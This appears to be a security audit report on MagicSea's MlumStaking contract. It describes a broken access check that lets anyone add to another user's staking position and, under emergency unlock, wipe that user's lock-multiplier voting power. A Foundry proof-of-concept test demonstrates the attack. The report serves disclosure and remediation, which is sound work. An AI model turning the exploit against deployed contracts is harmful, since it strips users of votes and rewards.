Hollow Paisley Panda

Medium

# `MLumStaking.addToPosition` Has Incorrect Access Control Checks

## Summary

The `MLumStaking.addToPosition` function contains incorrect access control checks, which can allow a malicious actor to deprive any user of their voting power. This results in the inability to vote and a loss of potential rewards.

## Vulnerability Detail

According to the documentation, the `addToPosition` function allows the owner of an lsNFT to increase their staked position.

```solidity
File: magicsea-staking/src/MlumStaking.sol
  392:     /**
  393:      * @dev Add to an existing staking position
  394:      *
  395:      * Can only be called by lsNFT's owner or operators
  396:      */
  397:     function addToPosition(uint256 tokenId, uint256 amountToAdd) external override nonReentrant {
  398:         _requireOnlyOperatorOrOwnerOf(tokenId); //audit: always true
```

The issue lies in the `_requireOnlyOperatorOrOwnerOf(tokenId)` function, which does not correctly verify the owner of the `tokenId`, allowing any user to modify the position identified by `tokenId`.

```solidity
File: magicsea-staking/src/MlumStaking.sol
  137:     /**
  138:      * @dev Check if a userAddress has privileged rights on a spNFT
  139:      */ //audit: no owner check
  140:     function _requireOnlyOperatorOrOwnerOf(uint256 tokenId) internal view {
  141:         // isApprovedOrOwner: caller has no rights on token
  142:         require(ERC721Upgradeable._isAuthorized(msg.sender, msg.sender, tokenId), "FORBIDDEN");
  143:     }
```

```solidity
File: magicsea-staking/lib/openzeppelin-contracts-upgradeable/contracts/token/ERC721/ERC721Upgradeable.sol
  208:     /**
  209:      * @dev Returns whether `spender` is allowed to manage `owner`'s tokens, or `tokenId` in
  210:      * particular (ignoring whether it is owned by `owner`).
  211:      *
  212:      * WARNING: This function assumes that `owner` is the actual owner of `tokenId` and does not verify this
  213:      * assumption.
  214:      */
  215:     function _isAuthorized(address owner, address spender, uint256 tokenId) internal view virtual returns (bool) {
  216:         return
  217:             spender != address(0) &&
  218:             (owner == spender || isApprovedForAll(owner, spender) || _getApproved(tokenId) == spender);
  219:     }
```

POC:

ALICE creates a position using `MLumStaking.createPosition(uint256 amount, uint256 lockDuration)`, specifying the amount and lock duration. By setting `lockDuration > 0`, she receives a bonus in the form of a `position.lockMultiplier` applied to the staked amount, which translates into `position.amountWithMultiplier`, used as voting power in `Voter.vote()`.

```solidity
File: magicsea-staking/src/Voter.sol
  179:         uint256 votingPower = _mlumStaking.getStakingPosition(tokenId).amountWithMultiplier;
```

ALICE intends to use the maximum number of votes using the `Voter.vote()` function.

At the same time, the OWNER of the `MLumStaking` contract sets `MLumStaking._emergencyUnlock=true`, possibly due to an ongoing hacking attack or any other reason.

A BAD ACTOR, exploiting the access control bug in `MLumStaking.addToPosition`, adds a minimal amount to ALICE's position (front-running `Voter.vote()`).

This triggers an issue because with `MLumStaking._emergencyUnlock=true`, the bonus `position.lockMultiplier` is reset to zero, aligning `position.amountWithMultiplier` to `position.amount`.

The result of these actions is a significantly reduced voting power for the given NFT and a revert of the voting transaction.

If, simultaneously, a keeper closes the voting period, ALICE permanently loses the ability to vote in that period.

## Impact

The core function of the `Voter` is compromised.

A user loses the ability to vote with full power.

By being unable to vote for a specific pool in a given period, the user incurs financial losses due to:
1. Missing out on a share of the bribe set for that period and pool through `BribeRewarder`.
2. The pool the user wanted to vote for might not receive enough votes, or it does but without the user's votes, resulting in no profits from LUM emissions for the top pools.

Non-financial losses:
1. Voting power is reduced by almost 200%.

## Code Snippet

[MlumStaking.addToPosition](https://github.com/sherlock-audit/2024-06-magicsea/blob/7fd1a65b76d50f1bf2555c699ef06cde2b646674/magicsea-staking/src/MlumStaking.sol#L397-L397)
[MlumStaking._requireOnlyOperatorOrOwnerOf](https://github.com/sherlock-audit/2024-06-magicsea/blob/7fd1a65b76d50f1bf2555c699ef06cde2b646674/magicsea-staking/src/MlumStaking.sol#L140-L140)
[ERC721Upgradeable._isAuthorized](https://github.com/openzeppelin/openzeppelin-contracts-upgradeable/blob/625fb3c2b2696f1747ba2e72d1e1113066e6c177/contracts/token/ERC721/ERC721Upgradeable.sol#L215-L215)

## Tool used

Manual Review

## Recommendation

The `MLumStaking._requireOnlyOperatorOrOwnerOf` function should additionally check if `msg.sender` is the owner of the token, which it currently does not do.

Depending on the purpose of the `_emergencyUnlock` flag, access to various functions of the system can be restricted accordingly. If the flag being `true` is meant to allow only emergency unlocks during critical moments such as an ongoing attack, then modifying and creating new positions should be unnecessary, and only `emergencyWithdraw` should be permitted.


### Coded POC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/transparent/TransparentUpgradeableProxy2Step.sol";
import {MlumStaking} from "../src/MlumStaking.sol";
import {ERC20Mock} from "./mocks/ERC20.sol";
import "../src/rewarders/RewarderFactory.sol";
import "../src/rewarders/BribeRewarder.sol";
import "../src/Voter.sol";
import {MasterChefMock} from "./mocks/MasterChefMock.sol";

contract AuditTests is Test {

    address public admin = makeAddr("proxyAdmin");
    address public DEV = makeAddr("DEV");
    address public ALICE = makeAddr("ALICE");
    address public BOB = makeAddr("BOB");

    MlumStaking public stakingPool;
    RewarderFactory public rewarderFactory;
    BribeRewarder public bribeRewarder;
    Voter public voter;

    ERC20Mock public stakingToken;
    ERC20Mock public rewardToken;

    function setUp() public {
        vm.startPrank(DEV);
        stakingToken = new ERC20Mock("MagicLum", "MLUM", 18);
        rewardToken = new ERC20Mock("USDT", "USDT", 6);

        ProxyAdmin2Step proxyAdmin = new ProxyAdmin2Step(admin);

        stakingPool = MlumStaking(
            address(
                new TransparentUpgradeableProxy2Step(
                    address(new MlumStaking(stakingToken, rewardToken)),
                    proxyAdmin,
                    abi.encodeWithSelector(MlumStaking.initialize.selector, DEV)
                )
            )
        );

        rewarderFactory = RewarderFactory(
            address(
                new TransparentUpgradeableProxy2Step(
                    address(new RewarderFactory()),
                    proxyAdmin,
                    abi.encodeWithSelector(RewarderFactory.initialize.selector, DEV, new uint8[](0), new address[](0))
                )
            )
        );

        voter = Voter(
            address(
                new TransparentUpgradeableProxy2Step(
                    address(new Voter(new MasterChefMock(), stakingPool, rewarderFactory)),
                    proxyAdmin,
                    abi.encodeWithSelector(MlumStaking.initialize.selector, DEV)
                )
            )
        );

        rewarderFactory.setRewarderImplementation(
            IRewarderFactory.RewarderType.BribeRewarder, IRewarder(address(new BribeRewarder(address(voter))))
        );
        bribeRewarder = BribeRewarder(payable(address(rewarderFactory.createBribeRewarder(rewardToken, address(stakingPool)))));

    }

    function testUnauthorizedAddToPositionAndResetMultiplier() public {
        stakingToken.mint(ALICE, 10e18);
        stakingToken.mint(BOB, 10e18);

        // Alice create position
        vm.startPrank(ALICE);
        stakingToken.approve(address(stakingPool), 1e18);
        stakingPool.createPosition(1e18, 365 days);

        MlumStaking.StakingPosition memory position = stakingPool.getStakingPosition(1);
        assertEq(position.amount, 1e18);
        assertEq(position.amountWithMultiplier, 3e18); // + 200% bonus from lock

        // owner enable emergency unlock
        vm.startPrank(DEV);
        stakingPool.setEmergencyUnlock(true);

        // Bob destroy Alice voting power
        vm.startPrank(BOB);
        stakingToken.approve(address(stakingPool), 1);
        stakingPool.addToPosition(1, 1);

        MlumStaking.StakingPosition memory positionAfterBob = stakingPool.getStakingPosition(1);
        assertEq(positionAfterBob.amount, 1e18 + 1);
        assertNotEq(positionAfterBob.amountWithMultiplier, 3e18);
        assertEq(positionAfterBob.amountWithMultiplier, 1e18 + 1); // 200% bonus gone
    }
}

```
